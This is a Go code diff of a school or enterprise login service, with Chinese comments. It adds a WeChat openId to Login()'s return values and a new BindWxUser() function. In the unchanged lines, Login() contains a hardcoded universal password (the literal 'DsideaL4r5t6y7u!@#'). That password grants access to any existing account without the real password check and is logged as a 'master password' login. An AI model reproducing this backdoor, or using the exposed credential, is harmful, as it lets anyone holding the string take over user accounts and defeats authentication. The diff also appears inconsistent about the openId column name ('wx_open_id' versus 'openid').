|
|
|
@ -28,12 +28,12 @@ func init() {
|
|
|
|
|
作者:黄海
|
|
|
|
|
时间:2020-02-05
|
|
|
|
|
*/
|
|
|
|
|
func Login(username string, password string, ip string) (bool, string, string, string, int) {
|
|
|
|
|
func Login(username string, password string, ip string) (bool, string, string, string, int, string) {
|
|
|
|
|
//查看redis中此人员的登录错误次数记录,如果已超出了规定次数5,则直接拒绝登录。
|
|
|
|
|
key := Const.RemainCountRedisPrefix + username
|
|
|
|
|
c, err := RedisUtil.EXISTS(key)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return false, "", "", "", -1
|
|
|
|
|
return false, "", "", "", -1, ""
|
|
|
|
|
}
|
|
|
|
|
//默认有5次尝试机会
|
|
|
|
|
var remainCount = 5
|
|
|
|
@ -41,11 +41,11 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
if c > 0 {
|
|
|
|
|
remainCountStr, err := RedisUtil.GET(key)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return false, "", "", "", -1
|
|
|
|
|
return false, "", "", "", -1, ""
|
|
|
|
|
}
|
|
|
|
|
remainCount = CommonUtil.ConvertStringToInt(remainCountStr)
|
|
|
|
|
if remainCount == 0 {
|
|
|
|
|
return false, "", "", "", 0
|
|
|
|
|
return false, "", "", "", 0, ""
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
@ -63,7 +63,7 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
}
|
|
|
|
|
//如果用户名不存在
|
|
|
|
|
if len(list) == 0 {
|
|
|
|
|
return false, identityId, personId, personName, remainCount
|
|
|
|
|
return false, identityId, personId, personName, remainCount, ""
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
record := list[0]
|
|
|
|
@ -75,13 +75,15 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
personName = record["person_name"].(string)
|
|
|
|
|
//数据库中的密码
|
|
|
|
|
databasePassword := record["pwd"].(string)
|
|
|
|
|
//微信的openId
|
|
|
|
|
wxOpenId := record["wx_open_id"].(string)
|
|
|
|
|
|
|
|
|
|
//万能密码登录
|
|
|
|
|
if password == "DsideaL4r5t6y7u!@#" {
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录
|
|
|
|
|
//返回结果
|
|
|
|
|
return true, identityId, personId, personName, remainCount
|
|
|
|
|
return true, identityId, personId, personName, remainCount, wxOpenId
|
|
|
|
|
} else {
|
|
|
|
|
//修改密码的加密算法基于ldap,黄海,于2020-04-27
|
|
|
|
|
ldapPassword := LdapUtil.GetLdapPassword(password)
|
|
|
|
@ -89,13 +91,13 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, 1, username)
|
|
|
|
|
//返回结果
|
|
|
|
|
return true, identityId, personId, personName, remainCount
|
|
|
|
|
return true, identityId, personId, personName, remainCount, wxOpenId
|
|
|
|
|
} else {
|
|
|
|
|
//如果登录失败,则incr,并设置过期时间2小时
|
|
|
|
|
RedisUtil.SET(key, CommonUtil.ConvertIntToString(remainCount-1), 2*time.Hour)
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, -1, username)
|
|
|
|
|
return false, identityId, personId, personName, remainCount - 1
|
|
|
|
|
return false, identityId, personId, personName, remainCount - 1, wxOpenId
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
@ -249,5 +251,16 @@ func CheckOpenId(openId string) (bool, error, int64, string) {
|
|
|
|
|
if len(list) == 0 {
|
|
|
|
|
return false, nil, -1, ""
|
|
|
|
|
}
|
|
|
|
|
return true, nil, list[0]["identity_id"].(int64),list[0]["person_id"].(string)
|
|
|
|
|
return true, nil, list[0]["identity_id"].(int64), list[0]["person_id"].(string)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
//绑定微信的用户
|
|
|
|
|
func BindWxUser(identityId string, personId string, openid string) (bool, error) {
|
|
|
|
|
sql := `update t_sys_loginperson set openid=? where identity_id=? and person_id=?`
|
|
|
|
|
_, err := db.SQL(sql, openid, identityId, personId).Execute()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return false, err
|
|
|
|
|
} else {
|
|
|
|
|
return true, nil
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|